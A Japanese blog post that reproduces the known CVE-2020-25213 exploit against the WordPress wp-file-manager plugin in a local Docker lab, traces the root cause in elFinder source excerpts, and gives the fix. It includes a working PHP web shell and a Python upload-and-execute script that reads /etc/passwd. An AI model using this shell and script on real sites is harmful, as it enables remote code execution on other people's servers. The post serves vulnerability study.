やりつくされたCVE-2020-25213のPoC検証をあえてやる
一応肩書きがセキュリティエンジニアになったので、セキュリティエンジニアならPoCくらい動かさんかい、ということで2020年9月頃に情報公開されたwordpressのfile-managerプラグインの脆弱性であるCVE-2020-25213のPoC検証をやろうと思います。
なんでこれ選んだかの理由は特にないです。強いて言えばwordpress触ったことないし、結構話題になっていた気がしたからです。
別に新しいことを書くとかではないです。メモ程度に。
環境構築
Dockerでwordpress,mysqlのイメージから作成
file-managerの脆弱なバージョンのzipも持ってきておいて、コンテナにアップロード、展開しておきます。
6.9未満が対象で今回は6.0を使ってます。公式が配布している過去バージョンから取得。
https://wordpress.org/plugins/wp-file-manager/advanced/
適当に作ったDockerfile,PoC諸々はこちら
検証
file-managerはwordpressのサーバにファイルをアップロードするためのプラグインで、本来FTPとかを利用してアップロードするものを管理者画面からアップロードできるようにする機能が使えます。 機能的にも結構使われていたっぽいですね。
とりあえずPoC動かしましょう。
最初にブラウザからアクセスして初期設定を行って、
file-mangerも有効にしておきます。
では実行しましょう。
- wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpに対してPOSTメソッドでphpファイルのアップロードを行います。
- アップロードされたファイルはwp-content/plugins/wp-file-manager/lib/files下にアップロードされるのでそこにアクセスすれば任意のphpコードの実行が可能です。
とても簡単。
PoCではクエリのパラメータのコマンドを実行するようなphpをアップロードしています。ネット上のレポート見ても実際この類の攻撃が行われていたようです。
アップロードするcmd.php
<?php echo system($_GET["cmd"]);?>
exploitコード
#!/usr/local/bin/python3 import requests url = "http://localhost:8080/wp-content/plugins/wp-file-manager/lib" def exploit(): # set post request parameters file_name = 'cmd.php' cmd = 'cat /etc/passwd' data = ( ('upload[]', open(file_name, 'rb')), ('cmd', (None, 'upload')), ('target', (None, 'l1_Lw')) ) # upload php res = requests.post("{}/php/connector.minimal.php".format(url), files=data) print(res.status_code) print(res.text) # execute php res = requests.get("{0}/files/{1}?cmd={2}".format(url,file_name,cmd)) print(res.status_code) print(res.text) exploit()
脆弱性の原因
file-managerが使用している、サーバ上のファイルを扱うライブラリelFinderのインスタンスが外部のユーザが参照できるlib/phpディレクトリ下のconnector.minimal.phpで呼び出せてしまうのが原因。
↓wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php(一部)
... $opts = array( // 'debug' => true, 'roots' => array( // Items volume array( 'driver' => 'LocalFileSystem', // driver for accessing file system (REQUIRED) 'path' => '../files/', // path to files (REQUIRED) 'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED) 'trashHash' => 't1_Lw', // elFinder's hash of trash folder 'winHashFix' => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too 'uploadDeny' => array('all'), // All Mimetypes not allowed to upload 'uploadAllow' => array('all'), // Mimetype `image` and `text/plain` allowed to upload 'uploadOrder' => array('deny', 'allow'), // allowed Mimetype `image` and `text/plain` only 'accessControl' => 'access' // disable and hide dot starting files (OPTIONAL) ), // Trash volume array( 'id' => '1', 'driver' => 'Trash', 'path' => '../files/.trash/', 'tmbURL' => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/', 'winHashFix' => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too 'uploadDeny' => array('all'), // Recomend the same settings as the original volume that uses the trash 'uploadAllow' => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as above 'uploadOrder' => array('deny', 'allow'), // Same as above 'accessControl' => 'access', // Same as above ), ) ); // run elFinder $connector = new elFinderConnector(new elFinder($opts)); $connector->run(); ...
せっかくなので$connector->run()について、もう少し動作を追ってみましょう。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinderConnector.class.php(重要なところ抜粋)
class elFinderConnector { ... public function run() { $isPost = $this->reqMethod === 'POST'; $src = $isPost ? array_merge($_GET, $_POST) : $_GET; ... $cmd = isset($src['cmd']) ? $src['cmd'] : ''; $args = array(); ... $hasFiles = false; foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) { if ($name === 'FILES') { if (isset($_FILES)) { $hasFiles = true; } elseif ($req) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd))); } } else { $arg = isset($src[$name]) ? $src[$name] : ''; if (!is_array($arg) && $req !== '') { $arg = trim($arg); } ... $args[$name] = $arg; } } ... $args = $this->input_filter($args); if ($hasFiles) { $args['FILES'] = $_FILES; } try { $this->output($this->elFinder->exec($cmd, $args)); } catch (elFinderAbortException $e) { ... } } ... }
ここのポイントはPOSTで指定したcmd=uploadが$cmdに、target=l1_LW,アップロードしたファイルをが$argsに入りelFinder->exec($cmd,$args)が呼ばれているということ。
ではelFinderを見ていく。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinder.class.php(重要なところ抜粋)
class elFinder { ... protected $commands = array( 'abort' => array('id' => true), 'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false), 'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false), 'chmod' => array('targets' => true, 'mode' => true), 'dim' => array('target' => true, 'substitute' => false), 'duplicate' => array('targets' => true, 'suffix' => false), 'editor' => array('name' => true, 'method' => true, 'args' => false), 'extract' => array('target' => true, 'mimes' => false, 'makedir' => false), 'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false), 'get' => array('target' => true, 'conv' => false), 'info' => array('targets' => true, 'compare' => false), 'ls' => array('target' => true, 'mimes' => false, 'intersect' => false), 'mkdir' => array('target' => true, 'name' => false, 'dirs' => false), 'mkfile' => array('target' => true, 'name' => true, 'mimes' => false), 'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false), 'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false), 'parents' => array('target' => true, 'until' => false), 'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false ), 'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false), 'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false), 'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'qua lity' => false, 'bg' => false), 'rm' => array('targets' => true), 'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false), 'size' => array('targets' => true), 'subdirs' => array('targets' => true), 'tmb' => array('targets' => true), 'tree' => array('target' => true), 'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false), 'url' => array('target' => true, 'options' => false), 'zipdl' => array('targets' => true, 'download' => false) ); ... public function exec($cmd, $args) { ... $dstVolume = false; $dst = !empty($args['target']) ? $args['target'] : (!empty($args['dst']) ? $args['dst'] : ''); if ($dst) { $dstVolume = $this->volume($dst); } else if (isset($args['targets']) && is_array($args['targets']) && isset($args['targets'][0])) { ... } else if ($cmd === 'open') { ... } $result = null; ... if (!is_array($result)) { try { $result = $this->$cmd($args); } catch (elFinderAbortException $e) { throw $e; } catch (Exception $e) { ... } } ... } ... protected function volume($hash) { foreach ($this->volumes as $id => $v) { if (strpos('' . $hash, $id) === 0) { return $this->volumes[$id]; } } return false; } ... }
exec()の中では$this->$cmd($args);が呼ばれている、つまりelFinderのuploadメソッドが呼ばれている。 このuploadメソッドの中でファイルアップロードの処理が行われている。exploitコードでtargetに指定したl1_LwはelFinderクラスで管理しているvolumeを識別するようなものらしい。これがちょっとよくわからなかった。ソースコード見ているとg1_Lwや$optに指定されているt1_Lwとかは出てくるのだが、命名規則も不明。分かったら追記しようかなと。
少し追ったことからわかるように、実はupload以外のコマンドも実行しようと思えばできるみたい。まあ攻撃となると任意コード、コマンド実行が可能なuploadが一択だと思うけど。
参考にしたサイト
www.wordfence.com
対策
6.9以降で対策されているので更新しましょう。 6.9のパッケージを見るとwp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpが消されてた。これで外部のユーザがelFinderのインスタンスを自由に使えなくなった。
おわりに
ポエムは見返すと恥ずかしくなる。以上。